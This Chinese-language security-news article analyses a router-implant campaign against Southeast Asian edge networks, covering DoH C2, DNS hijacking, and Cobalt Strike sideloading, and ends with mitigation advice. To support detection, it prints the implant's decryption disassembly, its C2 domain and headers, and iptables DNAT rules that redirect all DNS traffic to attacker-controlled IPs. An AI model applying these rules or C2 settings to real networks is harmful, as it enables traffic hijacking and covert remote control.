摘要

報告詳細說明了一起針對東南亞邊緣網路基礎設施的複雜入侵行動。此行動涉及部署一個自製的 Linux ELF 植入程式 (implant) router.elf ,並利用 DNS over HTTPS (DoH) 進行持續的命令與控制 (C2)。此外,攻擊者 (malicious actor) 使用 iptables 進行 DNS 劫持 (hijacking),並透過 DLL 側載 (DLL sideloading) 在 Windows 端點上使用破解版的 Cobalt Strike Beacon。這份分析將深入探討這些元件的技術機制、其反分析技術,以及對網路安全的廣泛影響。此外,我們將納入相關網路安全研究的見解,以全面了解威脅情勢和潛在的緩解策略。

邊緣路由器遭植入Linux後門!DNS劫持與DoH C2讓攻擊者悄悄監控你整個內部網路 | 資訊安全新聞

主要發現

一個與入侵團體已被識別,正在進行一場大規模行動,瞄準東南亞各地的邊緣網路設備(edge network device)。該攻擊者 (malicious actor) 直接將自製的 Linux ELF 植入程式 (implant) ( router.elf ) 部署到受入侵的邊界路由器(border router)上,透過 DNS over HTTPS (DoH) 建立持續的 command-and-control (C2),同時將路由器的 iptables 子系統武器化,以大規模劫持 (hijacking) 下游的 DNS 流量。相關的 Windows 端點手法利用透過 DLL 側載 (DLL sideloading) ( version.dll ) 傳遞的破解版 Cobalt Strike 4.4 Beacon,其與路由器植入程式 (implant) 共用相同的 C2 基礎設施和可變形的 C2 設定檔 (malleable C2 profile),證明了統一的操作控制 [1]

此行動展現了一個深思熟慮的戰略選擇:入侵網路基礎設施而非端點,使攻擊者 (malicious actor) 能夠:

  1. 完全規避端點偵測與回應 (Endpoint Detection and Response, EDR) 解決方案。
  2. 保持對通過該設備的所有網路流量的可視性與控制權。
  3. 對受入侵路由器後方的所有設備進行下游攻擊(DNS 汙染、供應鏈劫持 (hijacking)、認證 (Credential) 竊取)。

攻擊者 (Adversary) 檔案

該攻擊者 (Adversary) 其動機為間諜活動和持續性存取 (persistent access)。評估其能力為先進,涉及自製植入程式 (implant) 開發、跨平台工具和基礎設施層面的戰術。主要目標範圍包括擁有使用 Linux 的邊緣路由基礎設施的東南亞組織 [1]

行動概述

攻擊鏈架構說明了此行動的多面向特性。邊界路由器最初被入侵,導致透過 iptables 進行 DNS 劫持 (hijacking),進而影響下游受害者。 router.elf 植入程式 (implant) 建立了一個 DoH C2 通道,而另一個後門 (backdoor) client_rc_start 則確保了持續性 (persistence)。在 Windows 端點上, version.dll 被用於 DLL 側載 (DLL sideloading) 以部署 Cobalt Strike Beacon。路由器植入程式 (implant) 和 Cobalt Strike Beacon 共用相同的 C2 基礎設施

sequenceDiagram participant Attacker participant BorderRouter as Border Router (Linux) participant DownstreamVictim as Downstream Victim (Internal Network) participant WindowsEndpoint as Windows Endpoint participant C2Server as C2 Server participant CloudflareDoH as Cloudflare DoH Resolver Attacker->>BorderRouter: Initial Compromise (e.g., vulnerability exploit) activate BorderRouter BorderRouter->>BorderRouter: Deploy router.elf (Custom RAT) BorderRouter->>BorderRouter: Deploy client_rc_start (Secondary Backdoor) BorderRouter->>BorderRouter: Configure iptables DNAT rules (DNS Hijacking) BorderRouter->>CloudflareDoH: router.elf establishes DoH C2 connection CloudflareDoH-->>BorderRouter: DoH Resolution BorderRouter->>C2Server: router.elf C2 Communication deactivate BorderRouter DownstreamVictim->>BorderRouter: DNS Query (hijacked) activate BorderRouter BorderRouter->>C2Server: Redirected DNS Query (Rogue DNS Resolver) C2Server-->>BorderRouter: Rogue DNS Response BorderRouter-->>DownstreamVictim: Malicious DNS Response deactivate BorderRouter Attacker->>WindowsEndpoint: Deliver version.dll (DLL Sideloading) activate WindowsEndpoint WindowsEndpoint->>WindowsEndpoint: Execute CrashReport.exe (loads version.dll) WindowsEndpoint->>C2Server: Cobalt Strike Beacon C2 Communication deactivate WindowsEndpoint

圖 1:攻擊鏈架構。此圖說明了攻擊的流程,從邊界路由器的初始入侵,到建立 C2 通道,以及後續的 DNS 劫持 (hijacking) 和 Windows 端點入侵。

技術分析

植入程式 (Implant):router.elf

router.elf 植入程式 (implant) 是一個 Linux x86-64 ELF PIE 執行檔,靜態連結且去除符號表 (stripped),使用 GCC 11.2.1 編譯。其大小為 480,480 位元組 (byte),並利用 mbedTLS 進行加密運算 [1]

反分析技術

該植入程式 (implant) 採用了多種反分析技術來阻礙逆向工程和偵測:

  • 靜態連結 (Static linking): 消除了共享程式庫的依賴關係,使執行檔自成一個完整單元,更難在隔離環境中分析。
  • 去除符號表 (Symbol stripping): 移除了所有除錯資訊,混淆了函式名稱和變數。
  • PIE 編譯: 位置無關可執行檔 (Position-Independent Executable, PIE) 編譯會隨機化載入位址,使利用記憶體的分析更加複雜。
  • 多層設定 (Configuration) 加密: 對其 C2 設定 (Configuration) 使用 XOR 和 Xorshift PRNG 串流加密。
  • 敏感字串混淆: 對關鍵的執行時期字串使用 XOR 0x5a 編碼 [1]

C2 設定 (Configuration) 加密

該植入程式 (implant) 使用客製化串流加密來保護其嵌入的 C2 設定 (Configuration)。一個 12 位元組 (byte) 的加密種子儲存在 .data 區段,透過與寫死 (hardcoded) 的密鑰 BOOTKEYSlot! 進行 XOR 解密。這個解密後的種子接著初始化三個 32 位元的 Xorshift PRNG 狀態變數。PRNG 密鑰流與 ROR 旋轉結合,解密了 6,132 位元組 (byte) 的設定 (Configuration) 資料 (Data) [1]

               
; BOOTKEYSlot! XOR seed decryption (0x80c1)
80c1: mov    rax, [rip+0x26b198]        ; load encrypted seed
80cd: lea    rcx, [rip+0x26b17c]        ; rcx = "BOOTKEYSlot!"
80e5: mov    dl, [rax+rbx*1]            ; dl = seed[i]
80e8: xor    dl, [rcx+rax*1]            ; dl ^= key[i]
80f2: cmp    rax, 0xc                    ; 12 iterations

; Xorshift PRNG decryption loop (0x812c) — 1533 iterations
8140: mov    eax, esi                    ; eax = PRNG state
8142: shl    eax, 0xd                    ; xorshift step 1
8145: xor    eax, esi
8149: shr    esi, 0x11                   ; xorshift step 2
814c: xor    eax, esi
8150: shl    esi, 0x5                    ; xorshift step 3
8153: xor    esi, eax
815d: xor    eax, r8d                    ; combine with state
8163: xor    eax, esi                    ; XOR with keystream
8165: ror    eax, cl                     ; rotate by counter

程式碼片段 1:C2 設定 (Configuration) 解密的組合語言程式碼。此片段顯示了使用 BOOTKEYSlot! 對種子進行的 XOR 解密,以及後續的 Xorshift PRNG 解密迴圈,該迴圈產生了用於解密 C2 設定 (Configuration) 的密鑰流。

解密後的設定 (Configuration) 摘錄顯示了關鍵的 C2 參數:

0x012e: contextlayerrun.com,/api/v1/get    [C2 domain + GET path]
0x0234: Mozilla/5.0 (Windows NT 10.0; ...)  [User-Agent]
0x0339: /api/v1/post                        [POST path]
0x048e: Accept: */*                         [HTTP headers]
0x04a0: Accept-Language: zh-CN,zh;q=0.9     [Language header]

程式碼片段 2:解密的 C2 設定 (Configuration) 摘錄。這顯示了植入程式 (implant) 使用的 C2 網域、User-Agent 和 HTTP 標頭 (header)。 Accept-Language: zh-CN 標頭 (header) 是一個關鍵的歸因指標。

字串混淆 (XOR 0x5a)

敏感的執行時期字串使用單位元組 XOR 搭配 0x5a 進行編碼,並在執行期間動態解碼。此技術有助於規避靜態字串分析 [1]

; Runtime XOR 0x5a decode (0xc911)
c911: mov    dl, [rcx+rax*1]            ; read encoded byte
c919: xor    edx, 0x5a                   ; XOR 0x5a decode
c91c: mov    [rsp+rax*1+0x3b], dl       ; store decoded byte

程式碼片段 3:XOR 0x5a 字串解碼的組合語言程式碼。這說明了植入程式 (implant) 如何在執行時期動態解碼混淆的字串。

DNS over HTTPS (DoH) 解析

該植入程式 (implant) 透過 Cloudflare DoH 解析其 C2 網域,這項技術能繞過傳統的 DNS 監控,使 C2 流量更難被偵測和封鎖 [1]

; Load DoH resolver hostname (0x954c)
954c: lea    rsi, [rip+0x46605]          ; "cloudflare-dns.com"
9556: call   0x15186                      ; set TLS hostname

; Construct DoH POST request
958a: lea    rcx, [rip+0x465da]          ; "/dns-query"
95a1: lea    r8, [rip+0x465b0]           ; "cloudflare-dns.com"
95b7: call   0x45f60                      ; snprintf HTTP request

程式碼片段 4:用於 DoH 解析的組合語言程式碼。這顯示了植入程式 (implant) 載入 Cloudflare DoH 解析器主機名稱並建構 DoH POST 請求。

路由器 DNS 劫持 (hijacking) (iptables DNAT)

攻擊者 (malicious actor) 在受入侵的路由器上植入持久性的 iptables NAT 規則,將所有下游的 DNS 流量重新導向到攻擊者控制的解析器。這使他們能夠完全控制該路由器後方所有設備的 DNS 解析 [1]

  1. DNAT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:53 to:8.213.217.130:8090
  2. DNAT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:53 to:47.81.37.109:8090
  3. DNAT all -- 0.0.0.0/0 0.0.0.0/0 match-set evil_fix dst to:23.254.129.112

程式碼片段 5:用於 DNS 劫持 (hijacking) 的 iptables DNAT 規則。這些規則會將連接埠 53 上的 UDP 流量重新導向至 rogue DNS 解析器,並根據名為 evil_fix 的動態 ipset 重新導向流量。

使用非標準的連接埠 8090 進行 DNS 解析有助於規避使用連接埠 53 的 DNS 安全稽核。此外,動態 ipset ( evil_fix ) 能夠針對性地劫持 (hijacking) 軟體更新頻道、安全廠商網域或特定受害者的流量,確認了對網路設備的 root 層級存取 (Access) [1]

次要路由器後門 (Backdoor):client_rc_start

一個次要後門 (backdoor) client_rc_start router.elf 一同被部署。這確保即使主要植入程式 (implant) 被偵測並移除,攻擊者 (malicious actor) 仍能持續存取 (Access),在受入侵的路由器上提供了一個備援的持續性 (persistence) 機制 [1]

Windows Cobalt Strike Beacon (DLL 側載 / DLL sideloading)

攻擊者 (malicious actor) 使用透過 DLL 側載 (DLL sideloading) 傳遞的破解版 Cobalt Strike 4.4 Beacon,將行動擴展到 Windows 端點。具體來說,一個惡意的 version.dll CrashReport.exe CrashReport64.exe 側載 ( sideload),這些執行檔通常位於 %allusersprofile%\CrashReport\ [1]

Cobalt Strike Beacon 的 C2 設定檔 (profile) 包含一個可變形的 HTTP 標頭 (header) 設定:

  1. GET Request:
  2. User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/536.36
  3. (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
  4. Content-Type : application/*; charset=utf-8
  5. Accept : */*
  6. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  7. Accept-Encoding: gzip, deflate
  8. Priority : u=1, i
  9. Cookie : _UK=<Base64URL-encoded metadata>
  10. POST Request:
  11. [Same headers as GET]
  12. Cookie : _ZF=<Base64URL-encoded session ID>

程式碼片段 6:可變形的 C2 設定檔 (Malleable C2 Profile) HTTP 標頭 (header)。Cobalt Strike Beacon 使用這些標頭 (header) 進行 C2 通訊,模仿合法的瀏覽器流量。請注意 Accept-Language: zh-CN 標頭 (header),這是另一個歸因指標。

跨平台基礎設施關聯性

一個重要的發現是路由器植入程式 (implant) 與 Windows Cobalt Strike Beacon 之間的關聯性,證實了攻擊者 (malicious actor) 的統一操作控制。共用的指標包括相同的 User-Agent 字串、URI 模式 ( /api/v1/get , /api/v1/post )、Cookie 標記 ( _UK= , _ZF= ) 以及睡眠間隔 (50,000 毫秒)。兩者也都使用連接埠 443 和 zh-CN 語言設定,進一步強化了歸因 [1]

緩解策略

所述的攻擊突顯了強健安全措施的重要性,特別是對於邊緣網路設備和端點。前期的文章[2] 強調了中小企業不斷變化的威脅情勢,其中邊緣設備的入侵為攻擊者提供了對內部網路的特權存取 (Access),而無需繞過端點安全控制。這與觀察到的攻擊者 (Threat actor) 的戰術一致,他們以邊緣路由器為目標,以獲得深入的網路存取 (Access)。

關鍵的緩解策略應包括:

  • 強化邊緣設備安全性: 定期對路由器和其它邊緣網路設備進行修補 (patch) 和漏洞 (vulnerability) 管理。實施強健的認證 (Authentication) 機制並限制不必要的服務。
  • DNS 安全性: 實施 DNSSEC 並監控 DNS 流量是否有異常。考慮使用不支援 DoH 的安全 DNS 解析器(如果這不是必需的服務),或實施嚴格的出口過濾來控制 DoH 的目的地。
  • 端點偵測與回應 (EDR): 在所有端點上部署 EDR 解決方案,以偵測和回應像是 DLL 側載 (DLL sideloading) 和 Cobalt Strike Beacon 等先進威脅。
  • 網路分段: 對網路進行分段,以限制入侵發生時的橫向移動。
  • 威脅情資: 持續更新最新的威脅情資,包括進階持續性威脅 (APT) 團體使用的入侵指標 (IoCs) 和戰術、技術與程序 (TTPs)。
  • 使用者認知培訓: 教育使用者有關可能導致初始入侵的社交工程手法。
  • 零信任原則: 實施零信任原則,如前期文章 [2] 所強調,確保所有存取 (Access) 請求無論其來源為何,都經過身份驗證和授權。

結論

對攻擊者 (Threat actor) 針對東南亞邊緣網路基礎設施行動的分析揭示了一個複雜且多層次的攻擊策略。透過入侵邊界路由器並部署自製的 Linux 植入程式 (implant),攻擊者 (malicious actor) 獲得了對網路流量的深度控制,實現了 DNS 劫持 (hijacking) 並規避了傳統的端點安全。使用 DoH 進行 C2 通訊以及在 Windows 端點上使用 DLL 側載 (DLL sideloading) 部署 Cobalt Strike,展示了高水準的技術能力,並專注於隱蔽性和持續性 (persistence)。

在 Linux 和 Windows 平台之間 C2 基礎設施和 TTPs 的關聯性,強調了攻擊者 (malicious actor) 的統一操作控制。此行動是一個重要的提醒,說明了保護邊緣設備、實施強健的 DNS 安全性以及採用全面的端點和網路防禦策略的重要性。組織,特別是關鍵基礎設施領域的組織,必須優先進行主動威脅獵捕、持續監控,以及實施如零信任等先進安全框架,以有效反制此類進階持續性威脅。

參考資料

  1. INTRUSION ANALYSIS: China-Nexus Adversary Targeting Southeast Asian Edge Network Infrastructure
  2. 從人性漏洞到AI攻擊:2025中小企業資安生存指南